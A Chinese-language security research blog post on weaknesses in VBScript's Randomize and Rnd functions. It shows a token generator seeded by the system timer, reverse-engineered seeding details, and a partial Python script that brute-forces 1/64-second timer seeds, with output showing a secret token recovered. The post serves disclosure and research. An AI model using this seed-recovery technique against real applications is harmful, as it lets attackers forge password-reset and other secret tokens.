VBScript随机数内部机制与安全漏洞
在最近的一篇博客文章中,Dennis分享了关于C#利用的有趣案例研究,展示了如何通过基于Random的密码重置令牌进行攻击。最近,我对一个依赖VBScript的目标进行了安全测试。本篇博客文章重点关注VBS的Rnd函数,并展示该语言中随机数生成的情况更为糟糕。
目标应用
该应用程序负责生成秘密令牌。该令牌本应是不可预测的且保持机密。以下是令牌生成代码的粗略副本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
Dim chars, n
chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789()*&^%$#@!"
n = 32
function GenerateToken(chars, n)
Dim result, pos, i, charsLength
charsLength = Int(Len(chars))
For i = 1 To n
Randomize
pos = Int((Rnd * charsLength) + 1)
result = result & Mid(chars, pos, 1)
Next
GenerateToken = result
end function
|
我首先注意到的是Randomize函数在循环内部被调用。这应该在每次迭代时重新播种PRNG,对吧?这可能导致重复值。然而,与许多其他编程语言相反,在VBScript中,循环内使用Randomize本身并不是问题。如果再次传递相同的种子(即使是隐式传递),该函数不会重置初始状态。
VBS的Randomize实际工作原理
以下是简短的API分解:
1
2
3
|
Randomize ' 使用系统时钟为全局PRNG播种
Randomize s ' 使用指定种子值为全局PRNG播种
r = Rnd() ' 下一个[0,1)范围内的浮点数
|
如果没有显式指定种子,Randomize使用Timer来设置种子(不完全正确,稍后会详细说明)。Timer()返回自午夜以来的秒数,作为Single值。Rnd()推进全局PRNG状态,并且对于给定种子是完全确定性的。
但这里存在一些问题。Windows的默认系统时钟周期约为15.625毫秒,即每秒64个周期。换句话说,我们每15.625毫秒才获得一个新的隐式种子值。
由于返回的值是Single类型,与Double类型相比,我们还会损失精度。实际上,多个"种子"会舍入到相同的内部值。考虑内部发生的冲突。因此,可能的唯一序列数量比您想象的要少得多!
实际上最多只有65,536个不同的有效种子(详情如下)。由于Timer()在午夜重置,相同的集合每天都会重复出现。
概念验证
我们首先双重检查我们的策略。我们修改了初始代码以使用命令行提供的种子值。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
Option Explicit
If WScript.Arguments.Count < 1 Then
WScript.Echo "VBS_Error: Requires 1 seed argument."
WScript.Quit(1)
End If
Dim seedToTest
seedToTest = WScript.Arguments(0)
WScript.Echo "Seed: " & seedToTest
Dim chars, n
chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789()*&^%$#@!"
n = 32
WScript.Echo "Predicted token: " & GenerateToken(chars, n, seedToTest)
function GenerateToken(chars, n, seed)
Dim result, pos, i, charsLength
charsLength = Int(Len(chars))
For i = 1 To n
Randomize seed
pos = Int((Rnd * charsLength) + 1)
result = result & Mid(chars, pos, 1)
Next
GenerateToken = result
end function
|
逆向工程发现
当我们之前说裸Randomize使用Timer()作为种子时,我们并不完全正确。实际上,它只是调用了WinApi的GetLocalTime。它计算秒数加上小数毫秒作为Doubles,然后使用CVTPD2PS汇编指令缩小到Single(浮点数)。
当我们确实指定种子值时,它的处理方式完全不同。它不是使用CVTPD2PS操作码进行转换,而是向右移动32位。
最后,内部PRNG状态的中间两个字节使用这些位的字节交换XOR混合进行更新,而状态的顶部和底部字节被保留。
Python实现
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
|
"""
将命令行给出的时间范围转换为它们之间的所有VBS-Timer()值(包括),以**0.015625秒**为步长(1/64秒),
将每个值转换为`Randomize <seed>`期望的特殊Double,将种子馈送到VBS_PATH,解析预测的令牌,并进行测试。
用法
python brute_timer.py <start_clock> <end_clock>
示例
python brute_timer.py "12:58:00 PM" "12:58:05 PM"
python brute_timer.py "17:42:25.50" "17:42:27.00"
接受12小时和24小时制时钟字符串;允许可选的小数秒。
"""
import subprocess
import struct
import sys
import re
from datetime import datetime
VBS_PATH = r"C:\share\poc.vbs"
TICK = 1 / 64 # 0.015 625 s (VBS Timer分辨率)
STEP = TICK
def vbs_timer_value(clock_text: str) -> float:
"""时钟字符串到VBS的Timer()返回的确切Single值。"""
for fmt in ("%I:%M:%S %p", "%I:%M:%S.%f %p",
"%H:%M:%S", "%H:%M:%S.%f"):
try:
t = datetime.strptime(clock_text, fmt).time()
break
except ValueError:
continue
else:
raise ValueError("时间格式无法识别: " + clock_text)
secs = t.hour*3600 + t.minute*60 + t.second + t.microsecond/1e6
secs = round(secs / TICK) * TICK # 捕捉到最近的1/64秒
# 强制Single精度(float32)以匹配VBS尾数
secs = struct.unpack('<f', struct.pack('<f', secs))[0]
return secs
def make_manual_seed(timer_value: float) -> float:
"""构建Randomize <seed>接收的Double"""
single_le = struct.pack('<f', timer_value) # 4字节小端序
dbl_le = b"\x00\x00\x00\x00" + single_le # 低dword为零,高dword = f32
return struct.unpack('<d', dbl_le)[0] # Python浮点数(Double)
|
攻击实施
现在,我们可以运行基础代码并捕获半精确的当前时间值。我们的Python使用正确格式的字符串,因此我们可以使用简单的方法转换数字:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
Dim t, hh, mm, ss, ns
t = Timer()
hh = Int(t \ 3600)
mm = Int((t Mod 3600) \ 60)
ss = Int(t Mod 60)
ns = (t - Int(t)) * 1000000
WScript.Echo _
Right("0" & hh, 2) & ":" & _
Right("0" & mm, 2) & ":" & _
Right("0" & ss, 2) & "." & _
Right("000000" & CStr(Int(ns)), 6)
|
假设令牌在17:55:54.046875精确生成,我们得到了QK^XJ#QeGG8pHm3DxC28YHE%VQwGowr7字符串。在我们的目标案例中,我们知道一些文件是在17:55:54创建的,这与令牌生成时间相当接近。
我们在怀疑的时间窗口内以0.015625秒为步长(64 Hz)迭代时间种子,并过滤所有重复项。
我们使用1秒范围启动了brute_timer.py脚本,并在第4次迭代中成功恢复了秘密:
1
2
3
4
5
6
7
|
PS C:\share> python3 .\brute_timer.py 17:55:54 17:55:55
[INFO] Range 64554.00000 to 64555.00000 in 0.015625-s steps
[64554.00000] Test #1: eYIkXKdsUTC3Uz#R)P$BlVRJie9U2(4B // calculated seed: 2.3397787718772567e+36
[64554.01562] Test #2: ZTDgSGZnPP#yQv*M6L)#hQNEdZ5Px50$ // calculated seed: 2.3397838424796576e+36
[64554.03125] Test #3: VP!bOBUjLK&uLq8I2G7*cMIAZV0Lt1v* // calculated seed: 2.3397889130820585e+36
[64554.04688] Test #4: QK^XJ#QeGG8pHm3DxC28YHE%VQwGowr7 // calculated seed: 2.3397939836844594e+36
[...snip...]
|
结论
VBScript的Randomize和Rnd如果您只想在屏幕上掷骰子是可以的,但千万不要考虑将它们用于机密目的。